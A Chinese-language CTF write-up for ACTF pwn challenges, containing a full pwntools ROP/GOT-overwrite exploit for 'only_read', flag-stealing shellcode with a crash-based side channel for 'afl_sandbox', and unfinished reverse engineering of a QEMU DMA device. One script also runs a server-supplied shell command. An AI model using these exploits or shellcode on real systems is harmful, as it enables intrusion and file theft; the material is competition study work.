本次 ACTF 我基本上 24 h 打满了,队伍里一共出了三道 pwn,我参与做了两道,另外一道 qemu pwn 没出,这里写一下 WriteUp。
only_read
题目很简洁,只给了一个不限长度的 read
,保护如下:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
看到这个保护肯定是想打 ret2dlresolve 的,但是题目里没有 pop rdi; ret
这种 gadget,所以我这边的思路是打 magic gadget。
我选择了下面这两条 gadget:
- libc 里:
0x0000000000110a46: pop rbx; pop rbp; pop r12; pop r13; pop r14; ret;
- 程序中:
0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
其中第一条是因为倒数第三字节和 libc 中 read 的偏移是一样的,不需要更多的爆破,第二条则是经典的 magic_gadget
,两条配合起来可以做一个任意地址写原语。
流程如下:
- 先用 read 构造程序地址写,把 read@got 部分写成第一条 gadget;
- 再利用任意地址写原语把 read@got 写成 ogg;
- 执行 ogg
这个过程中需要很多栈迁移和提前布置栈,比较常规,不再赘述。
爆破期望 1/16,原因是 libc gadget 的倒数第四位不确定,需要爆破。
#!/usr/bin/env python3
from pwn import *
from sys import argv
import os
proc = "./only_read_patched"
context.binary = proc
elf = ELF(proc, checksec=False)
# 0x0000000000110a46: pop rbx; pop rbp; pop r12; pop r13; pop r14; ret;
# 0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
def pwn():
io.recvuntil(b"Submit the token generated by `")
cmd = io.recvuntil(b"`", drop=True).decode()
token = subprocess.check_output(cmd, shell=True).strip()
io.sendline(token)
addr_reread = 0x401142
addr_ret = 0x40101a
got_read = elf.got['read']
addr_magic = 0x40111c
addr_start = 0x401050
addr_pop_rbp_ret = 0x40111d
buf = b"a" * 128
buf += flat([got_read + 0x100, addr_reread])
io.sendline(buf)
sleep(0.5)
rop_chain = b"1" * 8
rop_chain += flat([
elf.plt['read'],
0xfffdeae5,
got_read + 0x3d,
0, 0, 0,
addr_magic
], length=0x38)
rop_chain += p64(addr_pop_rbp_ret)
rop_chain += p64(0x404090)
rop_chain += p64(elf.plt['read'])
rop_chain = rop_chain.ljust(0x80, b"\x00")
rop_chain += p64(0x403ff8 + 0x88)
rop_chain += p64(addr_reread)
io.sendline(rop_chain)
sleep(0.5)
io.send(b"\x46\x3a")
while True:
io = remote("127.0.0.1", 9999) if argv[1] == 'r' else process(proc)
pwn()
io.interactive()
ACTF{5ystem_c4nnot_be_1nvoc4ked_@fter_corrupt1n9_1inkm4p}
afl_sandbox
题目一开始有个 hash 爆破,ai 一把梭了,虽然 hardness 是一个白给的 orw shellcode,但是因为 afl 执行程序异常后没有回显,所以没办法直接拿 flag,这里是用了基于报错的侧信道来爆破。
from pwn import *
import sys
import hashlib
proc = 'harness'
elf = ELF(proc)
context(arch=elf.arch, bits=elf.bits, endian=elf.endian, os=elf.os)
difficulty = 12
zeros = '0' * difficulty
def creat_io():
p = remote('223.112.5.141', 52051)
break_hash(p)
return p
def is_valid(digest):
if sys.version_info.major == 2:
digest = [ord(i) for i in digest]
bits = ''.join(bin(i)[2:].zfill(8) for i in digest)
return bits[:difficulty] == zeros
def sol(prefix):
i = 0
while True:
i += 1
s = prefix + str(i)
if is_valid(hashlib.sha256(s.encode()).digest()):
return i
def break_hash(p):
p.recvuntil(b"solve this: sha256(")
prefix = p.recvuntil(b" ", drop=True)
p.sendline(str(sol(prefix.decode())).encode())
def send_hex(msg):
h = msg.hex()
p.sendlineafter(b'>', h)
p.sendafter(b'>', '\n')
ans = ''
this = ''
index = 0
sc = asm(f'''
lea rsi, [rbp - 0x800]
mov rdi, 0
mov rdx, 1
mov rax, 0
syscall
''')
sc += asm(shellcraft.open(b"/home/ctf/flag"))
sc += asm("""
lea rsi, [rbp - 0x800]
mov rdi, 4
mov rdx, 0x100
mov rax, 0
syscall
""")
cmp = asm("""
cmp rbx, rax
je equal
jb below
great:
ud2
equal:
mov rax, 0x3c
syscall
below:
mov rsp, 0
ret
""")
p = creat_io()
while this != '}':
target = 0
for i in range(0, 8):
pow = 7 - i
target += 1 << pow
shellcode = sc
shellcode += asm(f'''
xor rbx, rbx
mov rax, {target}
mov bl, byte ptr [rsi + {index}]
''')
shellcode += cmp
send_hex(shellcode)
res = p.recvuntil("awesome, see you next time :)))")
p.close()
if b"Fork server crashed with signal 4" in res:
p = creat_io()
break
elif b"Fork server crashed with signal 11" in res:
target -= 1 << pow
p = creat_io()
continue
this = chr(target)
ans += this
index += 1
log.info(f"current_flag => {ans}")
p = creat_io()
break
p.interactive()
让 gpt 优化了一下这个脚本,速度还挺快的。
ACTF{wH4t_IS_Your_CooL_solUTi0n_PL2_te1l_M3}
easydma
没给符号,先逆向,可以看到程序只注册了一个 mmio,只有一个 read 和 write,
__int64 __fastcall readflag_mmio_read(__int64 opaque, unsigned __int64 addr, int size)
{
__int64 result; // rax
if ( addr > 0x7F )
{
result = -1LL;
if ( size != 4 )
return result;
}
else if ( size != 4 )
{
result = -1LL;
if ( size != 8 )
return result;
}
result = 0xDEADBEEFLL;
if ( addr )
{
if ( addr == 8 )
return *(opaque + 0xBA8);
else
return -1LL;
}
return result;
}
void __fastcall readflag_mmio_write(__int64 opaque, unsigned __int64 addr, size_t val, int size)
{
char *chunk; // rbp
FILE *v5; // rax
FILE *v6; // r12
size_t len; // rax
int v8; // [rsp+0h] [rbp-20h]
if ( addr > 0x7F )
{
if ( size != 4 )
return;
}
else if ( size != 4 )
{
if ( size == 8 && addr == 8 )
goto LABEL_6;
return;
}
if ( addr )
{
if ( addr == 8 )
LABEL_6:
*(opaque + 2984) = val;
}
else if ( val <= 0xFFF )
{
v8 = val;
chunk = malloc(val);
if ( chunk )
{
v5 = fopen64("flag", "r");
v6 = v5;
if ( v5 )
{
len = fread(chunk, 1uLL, (v8 - 1), v5);
if ( len )
chunk[len] = 0;
else
puts("No data read from the file.");
free(chunk);
fclose(v6);
}
else
{
perror("Error opening file");
free(chunk);
}
}
else
{
perror("Memory allocation failed");
}
}
}
都不是很有洞,感觉是没找到洞,继续审:
__int64 __fastcall pci_readflag_realize(__int64 a1, __int64 a2)
{
__int64 pdev; // rbp
__int64 result; // rax
pdev = sub_71F420(a1, "readflag", "../hw/misc/edu.c", 38LL, &off_9356B5);
*(*(a1 + 160) + 61LL) = 1;
result = sub_433F90(a1, 0LL, 1LL, 1LL, 0LL, a2);
if ( !result )
{
timer_init_tl(pdev + 3040, 0, 1, 1000000, 0, readflag_dma_timer, pdev);
qemu_mutex_init(pdev + 2872);
qemu_cond_init((pdev + 2920));
qemu_thread_create((pdev + 2864));
memory_region_init_io(pdev + 2592, pdev, &readflag_mmio_ops, pdev, "readflag-mmio", 0x100000LL);
return pci_register_bar(a1, 0LL, 0LL, pdev + 2592);
}
return result;
}
这里有一个:
__int64 __fastcall readflag_dma_timer(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, int a6)
{
__int64 flag; // rax
__int64 buf; // r12
__int64 len; // rbx
__int64 len2; // rsi
unsigned __int64 src; // rdi
__int64 v12; // r13
__int64 v13; // rdx
__int64 v14; // r12
__int64 v15; // rdi
__int64 v16; // r9
__int64 len1; // rsi
unsigned __int64 dst; // rdi
__int64 v19; // rdx
flag = *(a1 + 3032);
if ( (flag & 1) != 0 )
{
buf = a1 + 3088;
len = *(a1 + 3024);
if ( (flag & 2) != 0 )
{
len1 = *(a1 + 3024);
dst = *(a1 + 3008);
v12 = buf + dst - 0x40000;
sub_3D6F80(dst, len1, a3, a4, a5, a6);
v19 = *(a1 + 3016);
v14 = v19 & *(a1 + 7184);
if ( v19 != v14 )
__printf_chk(1LL, "READFLAG: clamping DMA %#.16lx to %#.16lx!\n", v19, v19 & *(a1 + 7184));
_mm_mfence();
v15 = a1 + 568;
v16 = 1LL;
}
else
{
len2 = *(a1 + 3024);
src = *(a1 + 3016);
v12 = buf + src - 0x40000;
sub_3D6F80(src, len2, a3, a4, a5, a6);
v13 = *(a1 + 3008);
v14 = v13 & *(a1 + 7184);
if ( v13 != v14 )
__printf_chk(1LL, "READFLAG: clamping DMA %#.16lx to %#.16lx!\n", v13, v13 & *(a1 + 7184));
_mm_mfence();
v15 = a1 + 568;
v16 = 0LL;
}
copy(v15, v14, 1LL, v12, len, v16);
flag = *(a1 + 3032);
*(a1 + 3032) = flag & 0xFFFFFFFFFFFFFFFELL;
if ( (flag & 4) != 0 )
{
*(a1 + 3000) |= 0x100u;
return sub_3D6DF0(a1);
}
}
return flag;
}
到这感觉洞应该就是在这里了,后来出题人也上了 hint,但是看不太明白,,,这个题最后也没做出来。